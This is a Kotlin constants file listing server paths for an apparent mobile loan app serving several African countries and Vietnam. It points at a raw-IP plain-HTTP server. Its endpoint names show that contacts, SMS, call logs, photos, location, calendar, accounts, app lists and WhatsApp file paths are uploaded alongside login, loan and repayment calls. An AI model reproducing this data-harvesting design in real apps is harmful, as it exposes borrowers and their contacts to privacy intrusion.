package com.first.nell.network

object ApiUrl_No_Ref {
    /**
     * 域名服务器地址
     * https://www.firstnell.online/firstnellglobal
     */
    var BASE_URL = "http://159.138.165.72"

    /**
     * 域名转发
     */
    var BASE_PATH = ""

    /**
     * 全局配置
     */
    var ZONE_PATH = "/firstnellzone"

    /**
     * 域名服务器地址-越南
     * https://www.firstnell.online/firstnellglobal
     */
    const val BASE_URL_VND = "http://159.138.165.72"

    /**
     * 域名服务器地址-非洲
     * https://www.firstnell.online/firstnellglobal
     */
    const val BASE_URL_AFRICA = "http://159.138.165.72"

    /**
     * 全局域名转发
     */
    const val GLOBAL_PATH = ""

    /**
     * 全局域名转发-加纳
     */
    const val GHA_PATH = "/firstnellgha"

    /**
     * 全局域名转发-乌干达
     */
    const val UGX_PATH = "/firstnellugx"

    /**
     * 全局域名转发-科特
     */
    const val FCFA_PATH = "/firstnellfcfa"

    /**
     * 全局域名转发-尼日
     */
    const val NGN_PATH = "/firstnellngn"

    /**
     * 全局域名转发-肯尼亚
     */
    const val KSH_PATH = "/firstnellksh"

    /**
     * 全局域名转发-越南
     */
    const val VND_PATH = "/firstnellvietnam"

    /**
     * 设备-应用列表
     */
    const val NARSCASH_PATH_APPLIST = "/v2/userAppList"

    /**
     * 设备-联系人是否要上报
     */
    const val NARSCASH_PATH_CONTACT_RESULT = "/v1/isNeedStorePhoneBook"

    /**
     * 设备-联系人
     */
    const val NARSCASH_PATH_CONTACT = "/v2/phoneBookList"

    /**
     * 设备-消息
     */
    const val NARSCASH_PATH_MESSAGE = "/v2/smsRecord"

    /**
     * 设备-设备信息
     */
    const val NARSCASH_PATH_DEVICE = "/v1/deviceInfo"

    /**
     * 设备-图片信息
     */
    const val NARSCASH_PATH_IMAGE = "/v2/userImages"

    /**
     * 设备-电池信息
     */
    const val NARSCASH_PATH_BATTERY = "/v1/userDeviceBattery"

    /**
     * 设备-硬件信息
     */
    const val NARSCASH_PATH_HARDWARE = "/v1/userDeviceHardware"

    /**
     * 设备-存储信息
     */
    const val NARSCASH_PATH_STORE = "/v1/userDeviceStorage"

    /**
     * 设备-wifi信息
     */
    const val NARSCASH_PATH_NETWORK = "/v1/userDeviceWifi"

    /**
     * 设备-媒体信息
     */
    const val NARSCASH_PATH_MEDIA = "/v2/userDeviceMedia"

    /**
     * 设备-位置信息
     */
    const val NARSCASH_PATH_LOCATION = "/v1/userLocation"

    /**
     * 设备-calllog列表
     */
    const val NARSCASH_PATH_CALLLOG = "/v2/callRecord"

    /**
     * 设备-calendar列表
     */
    const val NARSCASH_PATH_CALENDAR = "/v2/userDeviceCalendar"

    /**
     * 设备-whatsapp目录列表
     */
    const val NARSCASH_PATH_WHATSAPP_DIR = "/v2/userDeviceFilePath"

    /**
     * 设备-setting account列表
     */
    const val NARSCASH_PATH_SETTING_ACCOUNT = "/v2/userDeviceSettingAccount"

    /**
     * 设备-aduid
     */
    const val NARSCASH_PATH_ADUID = "/v1/saveAduid"

    /**
     * 设备-打点
     */
    const val NARSCASH_PATH_POINT_RECORD = "/v1/userBuriedPoint"

    /**
     * 设备-谷歌安装回传
     */
    const val NARSCASH_PATH_GOOGLE_INSTALL = "/v1/channelInstallTemp"

    /**
     * 设备-AF 安装回传
     */
    const val NARSCASH_PATH_APPSFLYER_INSTALL = "/v1/appsFlyerInstallTemp"

    /**
     * 设备-AF S2S回传
     */
    const val NARSCASH_PATH_APPSFLYER_S2S = "/v1/appsFlyerS2S"

    /**
     * 设备-Firebase S2S回传
     */
    const val NARSCASH_PATH_FIREBASE_S2S = "/v1/fireBase/save"

    /**
     * 设备-Facebook S2S回传
     */
    const val NARSCASH_PATH_FACEBOOK_S2S = "/v1/saveFbAppData"

    /**
     * UsageStats s2s 回传
     */
    var NARSCASH_PATH_USAGE_STATS_S2S = "/v1/userUsageStats"

    /**
     * 系统-获取系统配置
     */
    const val NARSCASH_PATH_APP_CONFIG = "/v1/getAppShowInfo"

    /**
     * 系统-获取版本号
     */
    const val NARSCASH_PATH_APP_VERSION = "/v1/appVersion"

    /**
     * 登录-发送验证码
     */
    const val NARSCASH_PATH_SEND_OTP = "/v1/smsCode"

    /**
     * 登录-验证码登录
     */
    const val NARSCASH_PATH_OTP_LOGIN = "/v1/userLogin"

    /**
     * 用户-获取用户流程状态
     */
    const val NARSCASH_PATH_USER_STATE = "/v1/userProcess"

    /**
     * 用户-获取首页额度
     */
    const val NARSCASH_PATH_HOME_LIMIT = "/v1/loanLimit"

    /**
     * 用户-保存问题反馈
     */
    const val NARSCASH_PATH_SAVE_FEEDBACK = "/v1/feedback"

    /**
     * 用户-获取银行列表
     */
    const val NARSCASH_PATH_BANK_LIST = "/v1/fetchBankCodes"

    /**
     * 订单-获取放款中详情信息
     */
    const val NARSCASH_PATH_LOANING_DETAIL = "/v1/getLoanApplyDetail"

    /**
     * 订单-确认申请
     */
    const val NARSCASH_PATH_LOAN_SUBMIT = "/v1/loanApply"
    /**
     * 工具-启动评价流程
     */
    const val NARSCASH_PATH_CHECK_APP_REVIEW = "/v1/fetchStarWindowConfig"

    /**
     * 还款-获取还款详情信息
     */
    const val NARSCASH_PATH_REPAY_DETAIL = "/v1/repayInfo"

    /**
     * 还款-获取还款链接-越南
     */
    const val NARSCASH_PATH_REPAY_URL_VND = "/v1/orderRepayH5"

    /**
     * 还款-获取还款链接-加纳
     */
    const val NARSCASH_PATH_REPAY_URL_GHA = "/v1/orderRepayH5"

    /**
     * 还款-获取还款链接-科特
     */
    const val NARSCASH_PATH_REPAY_URL_FCFA = "/v1/orderRepayH5"

    /**
     * 还款-获取还款链接-乌干达
     */
    const val NARSCASH_PATH_REPAY_URL_UGX = "/v1/getOrderRepayH5"

    /**
     * 还款-获取还款链接-肯尼亚
     */
    const val NARSCASH_PATH_REPAY_URL_KSH = "/v1/getOrderRepayH5"

    /**
     * 还款-获取虚拟账号信息-尼日
     */
    const val NARSCASH_PATH_CREATE_VIRTUAL_ACCOUNT = "/v1/createVirtualAccount"

    /**
     * 还款-获取paystack sdk 初始化信息-尼日
     */
    const val NARSCASH_PATH_INIT_PAYSTACK_SDK = "/v1/orderRepaySDK"

    /**
     * 还款-获取paystack 卡列表-尼日
     */
    const val NARSCASH_PATH_PAYSTACK_CARD_LIST = "/v1/banklist"

    /**
     * 绑卡-获取钱包列表-科特
     */
    const val NARSCASH_PATH_WALLET_LIST_FCFA = "/v2/fetchBoundBankAccount"

    /**
     * 绑卡-绑钱包-科特
     */
    const val NARSCASH_PATH_BIND_WALLET_FCFA = "/v2/bindBankAccount"

    /**
     * 绑卡-删钱包-科特
     */
    const val NARSCASH_PATH_DELETE_WALLET_FCFA = "/v1/deleteBoundBankAccount"

    /**
     * 绑卡-保存钱包认证状态-科特
     */
    const val NARSCASH_PATH_SAVE_BVN_FCFA = "/v1/bvnInfo"

    /**
     * 绑卡-获取钱包列表-喀唛隆
     */
    const val NARSCASH_PATH_WALLET_LIST_XAF = "/v2/fetchBoundBankAccount"

    /**
     * 绑卡-绑钱包-喀唛隆
     */
    const val NARSCASH_PATH_BIND_WALLET_XAF = "/v2/bindBankAccount"

    /**
     * 绑卡-删钱包-喀唛隆
     */
    const val NARSCASH_PATH_DELETE_WALLET_XAF = "/v1/deleteBoundBankAccount"

    /**
     * 绑卡-保存钱包认证状态-喀唛隆
     */
    const val NARSCASH_PATH_SAVE_BVN_XAF = "/v1/bvnInfo"

    /**
     * 认证-保存ocr信息-越南
     */
    const val NARSCASH_PATH_SAVE_OCR_VND = "/v1/bvnInfo"

    /**
     * 认证-开始liveness-越南
     */
    const val NARSCASH_PATH_START_LIVENESS_VND = "/v1/faceRecognitionCheck"

    /**
     * 认证-保存liveness信息-越南
     */
    const val NARSCASH_PATH_SAVE_LIVENESS_VND = "/v1/faceRecognitionCheck"

    /**
     * 认证-获取运营商认证链接-越南
     */
    const val NARSCASH_PATH_START_SIM = "/v1/peratorInformation"

    /**
     * 认证-保存运营商认证-越南
     */
    const val NARSCASH_PATH_SAVE_SIM = "/v1/savePeratorInformation"

    /**
     * 工具-上传图片
     */
    const val NARSCASH_PATH_UPLOAD_IMAGE = "/v1/imageUpload"

    /**
     * 工具-图片ocr
     */
    const val NARSCASH_PATH_IMAGE_OCR = "/v1/getDiscernIcrInfo"

    /**
     * 认证-保存图片
     */
    const val NARSCASH_PATH_IMAGE_SAVE = "/v1/ocrInfo"

    /**
     * 越南运营商认证
     */
    var NARSCASH_PATH_VIET_SIM_INFO = "/v1/shushenSendMsg"

    /** 是否为有效的地区转发 */
    fun isFirstNellValidFirstNellCountryFirstNellPath(): Boolean {
        return BASE_PATH.isNotBlank()
    }

}
